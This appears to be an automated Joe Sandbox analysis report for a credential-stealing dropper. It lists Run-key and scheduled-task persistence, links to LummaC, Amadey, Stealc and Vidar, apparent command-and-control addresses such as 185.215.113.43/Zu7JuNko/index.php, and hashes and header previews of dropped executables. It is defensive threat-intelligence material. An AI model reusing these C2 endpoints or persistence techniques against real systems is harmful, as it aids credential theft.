Excluded domains from analysis (whitelisted): www.reddit.com, ciscobinary.openh264.org, slscr.update.microsoft.com, twc.trafficmanager.net, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, a19.dscg10.akamai.net, support.mozilla.org, us-west1.prod.sumo.prod.webservices.mozgcp.net, redirector.gvt1.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, fs.microsoft.com, shavar.prod.mozaws.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, reddit.map.fastly.net, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target G4X9C8XP66LPZY0PX2HHB5N.exe, PID 7816 because it is empty
Execution Graph export aborted for target J2IWSCR5FJAMGGW2VC4ET4.exe, PID 7932 because there are no executed function
Execution Graph export aborted for target file.exe, PID 7412 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 7592 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 8104 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtAllocateVirtualMemory calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
04:01:49	Task Scheduler	Run new task: skotes path: C:\Users\user~1\AppData\Local\Temp\abc3bc1985\skotes.exe
04:02:14	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 8138ba21a1.exe C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe
04:02:22	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run bd214fbd32.exe C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe
04:02:30	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run 136916b3ff.exe C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe
04:02:38	Autostart	Run: HKCU\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe
04:02:47	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 8138ba21a1.exe C:\Users\user~1\AppData\Local\Temp\1001090001\8138ba21a1.exe
04:02:56	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run bd214fbd32.exe C:\Users\user~1\AppData\Local\Temp\1001091001\bd214fbd32.exe
04:03:05	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run 136916b3ff.exe C:\Users\user~1\AppData\Local\Temp\1001092001\136916b3ff.exe
04:03:13	Autostart	Run: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run num.exe C:\Users\user~1\AppData\Local\Temp\1001093001\num.exe
22:01:26	API Interceptor	13x Sleep call for process: file.exe modified
22:01:53	API Interceptor	1009730x Sleep call for process: skotes.exe modified
22:02:08	API Interceptor	28x Sleep call for process: 8138ba21a1.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.53.8	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	LoojPdoTwh.exe	Get hash	malicious	LummaC	Browse
	file.exe	Get hash	malicious	LummaC, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
185.215.113.43	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
example.org	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
	file.exe	Get hash	malicious	Credential Flusher	Browse	93.184.215.14
sergei-esenin.com	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	104.21.53.8
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	172.67.206.204
services.addons.mozilla.org	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.1.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.193.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91
	file.exe	Get hash	malicious	Credential Flusher	Browse	151.101.129.91

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	Adeleidae.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.96.3
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	https://chiquitzinbb.com/o/?c3Y9bzM2NV8xX25vbSZyYW5kPWQxbDZOVGc9JnVpZD1VU0VSMTYxMDIwMjRVMTExMDE2NDc=N0123N	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	1.1.1.1
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	108.162.209.105
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8
	https://www.ccleaner.com/	Get hash	malicious	Unknown	Browse	172.66.0.227
	Douglas County Government.pdf	Get hash	malicious	Unknown	Browse	104.16.123.96
	Douglas County Government.pdf	Get hash	malicious	HtmlDropper	Browse	104.18.95.41
	https://download.ccleaner.com/portable/ccsetup629.zip	Get hash	malicious	Unknown	Browse	1.1.1.1
	http://360mozambique.com/	Get hash	malicious	Unknown	Browse	188.114.96.3
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc, Vidar	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.37
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	https://t.ly/2jKWO	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	104.21.53.8 104.102.49.254
	file.exe	Get hash	malicious	LummaC	Browse	104.21.53.8 104.102.49.254
fb0aa01abe9d8e4037eb3473ca6e2dca	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191
	file.exe	Get hash	malicious	Credential Flusher	Browse	35.244.181.201 34.160.144.191

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse
	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\3BW8PCDTI0L77ZRRJ1.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	226
Entropy (8bit):	5.360398796477698
Encrypted:	false
SSDEEP:	6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
MD5:	3A8957C6382192B71471BD14359D0B12
SHA1:	71B96C965B65A051E7E7D10F61BEBD8CCBB88587
SHA-256:	282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
SHA-512:	76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584686786813719
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TW:oqDEvCTbMWu7rQYlBQcBiT6rprG8abW
MD5:	5ED9138AF4A937507DFDA5A5729F17BE
SHA1:	1603117DF867966D801FE383BF4AA7900BAAFD4C
SHA-256:	FE06B06A0A7F9CAD8666B750D75D85C546737D2E030CE22E303FC7644F9B55D9
SHA-512:	50B8F4A63BDE02C6B7259A7777C2DA64A547FBE9179235221BB38532EF369408BC19014C532B307F59DA0E1D8DA0CCFD41DB9DB3481A98AF92E821E673C58614
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...j..g.........."..........X......w.............@..........................`.......=....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\num[1].exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.948392018956134
Encrypted:	false
SSDEEP:	49152:4YSJ4c9/mvcJh6c+6wujKJg2B9ORT/ZpLFnzOf:RSJ4q/Ph6c+6wd9OR/ZHq
MD5:	7CEC6EEFC34F3702D47FA5A28CBBB929
SHA1:	DFE6AA0C35D17240CC857447D90614CEC2D05B1A
SHA-256:	A6F91D78572A12EB6F938220EE73F01EE43EF6FDFAAEDF8439C0BE80553DD841
SHA-512:	A8084F055DD47AF7FD85131424D7EB1F4F209C976E3147D1F11D0C5632DBC4DEDD790F7C65B0811A64A8458A9BEA4877A6CC33C5B01B5EE49982ED1FFFC2F912
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......l...........@...........................l.....r\....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..+...%......:..............@...fzxkvimr......Q......<..............@...ubuokytu......l...... ..............@....taggant.0....l.."...$..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\W1DLB4AP\random[1].exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3015168
Entropy (8bit):	6.535827466077147
Encrypted:	false
SSDEEP:	49152:5M0Q/LwKwdWhD8mbyt4yp0vuBOGqMwNB/XAR7sV4xgofT:+0QjwKwduAmbyt4yevuBOGqMwNB/isyB
MD5:	168A446710F2BAB46F3DA2D8A92008E2
SHA1:	8C83F817E6B6D98A3A5526DEC196F7FC6ED90E54
SHA-256:	1D90C40DEFE396301D00B6FE2D743C2E54F3FA5A8BB2BE8800A104283506B1CF
SHA-512:	C26026F1E5947311D29FDBA625CE362E7A753543D032A7A77F831E4A212EC6EACAB23EAA72BBE0D384A0A1D13ADBC0268C9FDCF4A2CA150329D34A5C1227968F
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................1...........@...........................1...........@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...vzkjjryc.p+......j+..p..............@...glqpzueu.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001090001\8138ba21a1.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3015168
Entropy (8bit):	6.535827466077147
Encrypted:	false
SSDEEP:	49152:5M0Q/LwKwdWhD8mbyt4yp0vuBOGqMwNB/XAR7sV4xgofT:+0QjwKwduAmbyt4yevuBOGqMwNB/isyB
MD5:	168A446710F2BAB46F3DA2D8A92008E2
SHA1:	8C83F817E6B6D98A3A5526DEC196F7FC6ED90E54
SHA-256:	1D90C40DEFE396301D00B6FE2D743C2E54F3FA5A8BB2BE8800A104283506B1CF
SHA-512:	C26026F1E5947311D29FDBA625CE362E7A753543D032A7A77F831E4A212EC6EACAB23EAA72BBE0D384A0A1D13ADBC0268C9FDCF4A2CA150329D34A5C1227968F
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 39%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L...J..f..............................1...........@...........................1...........@.................................W...k................................................................................................................... . .........^..................@....rsrc .............n..............@....idata .............n..............@...vzkjjryc.p+......j+..p..............@...glqpzueu.....p1.......-.............@....taggant.0....1.."....-.............@...........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001091001\bd214fbd32.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1918464
Entropy (8bit):	7.948392018956134
Encrypted:	false
SSDEEP:	49152:4YSJ4c9/mvcJh6c+6wujKJg2B9ORT/ZpLFnzOf:RSJ4q/Ph6c+6wd9OR/ZHq
MD5:	7CEC6EEFC34F3702D47FA5A28CBBB929
SHA1:	DFE6AA0C35D17240CC857447D90614CEC2D05B1A
SHA-256:	A6F91D78572A12EB6F938220EE73F01EE43EF6FDFAAEDF8439C0BE80553DD841
SHA-512:	A8084F055DD47AF7FD85131424D7EB1F4F209C976E3147D1F11D0C5632DBC4DEDD790F7C65B0811A64A8458A9BEA4877A6CC33C5B01B5EE49982ED1FFFC2F912
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 55%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$.......l...........@...........................l.....r\....@.................................P.%.d.............................%..................................................................................... . ..%......(..................@....rsrc ......%......8..............@....idata ......%......8..............@... ..+...%......:..............@...fzxkvimr......Q......<..............@...ubuokytu......l...... ..............@....taggant.0....l.."...$..............@...................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001092001\136916b3ff.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	919552
Entropy (8bit):	6.584686786813719
Encrypted:	false
SSDEEP:	12288:oqDEvFo+yo4DdbbMWu/jrQu4M9lBAlKhQcDGB3cuBNGE6iOrpfe4JdaDga/TW:oqDEvCTbMWu7rQYlBQcBiT6rprG8abW
MD5:	5ED9138AF4A937507DFDA5A5729F17BE
SHA1:	1603117DF867966D801FE383BF4AA7900BAAFD4C
SHA-256:	FE06B06A0A7F9CAD8666B750D75D85C546737D2E030CE22E303FC7644F9B55D9
SHA-512:	50B8F4A63BDE02C6B7259A7777C2DA64A547FBE9179235221BB38532EF369408BC19014C532B307F59DA0E1D8DA0CCFD41DB9DB3481A98AF92E821E673C58614
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 47%
Preview:	MZ......................@................................... ...........!..L.!This program cannot be run in DOS mode....$...................j:......j:..C...j:......@.*...........................n......~............{.......{......{.......z....{......Rich...................PE..L...j..g.........."..........X......w.............@..........................`.......=....@...@.......@.....................d...\|....@..(........................u...........................4..........@............................................text............................... ..`.rdata..............................@..@.data...lp.......H..................@....rsrc...(....@......................@..@.reloc...u.......v..................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\1001093001\num.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	314368
Entropy (8bit):	6.339296840269838
Encrypted:	false
SSDEEP:	6144:BMi8gYtUokCulxMfpbSGePV0l0F1nE7w+Uw3NKR9hU/W9:2tUoH3IGgVRF14wx8KRF9
MD5:	791FCEE57312D4A20CC86AE1CEA8DFC4
SHA1:	04A88C60AE1539A63411FE4765E9B931E8D2D992
SHA-256:	27E4A3627D7DF2B22189DD4BEBC559AE1986D49A8F4E35980B428FADB66CF23D
SHA-512:	2771D4E7B272BF770EFAD22C9FB1DFAFE10CBBF009DF931F091FB543E3132C0EFDA16ACB5B515452E9E67E8B1FC8FE8AEDD1376C236061385F026865CDC28D2C
Malicious:	true
Yara Hits:	Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1001093001\num.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........C..............X......m.......Y.......p.....y.........`...............\......n.....Rich............PE..L...J..f......................$......i............@...........................&...........@.................................(...<.............................%..$...................................................................................text............................... ....rdata..............................@..@.data.....#.........................@....reloc...E....%..F..................@..B........................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3BW8PCDTI0L77ZRRJ1.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2742272
Entropy (8bit):	6.512512454707974
Encrypted:	false
SSDEEP:	49152:/viotFGzLMLeWsLmwAY9AIEaEDDr8zhgrVtaNy:/viSGIeWsLmRY9tEaEDDmgrvaNy
MD5:	4B01B088DC9716204A408AD75CCEF360
SHA1:	BEFBDA6B5AA914CB8326470218AF7DF116D5E1EF
SHA-256:	E0895DD5B0AFD0EF81A5B90BB02868D68F23FC41E619D1A7D87BA24B635BD79E
SHA-512:	F1868A9AD764988A3CA7CB6AA524FDAF059F97D014C1771B03ADC155EA5A86A170D159F2CA139F0C01A9D5A7C6EFD0730B9EE41CFC910F2EA1B6D4025800A632
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
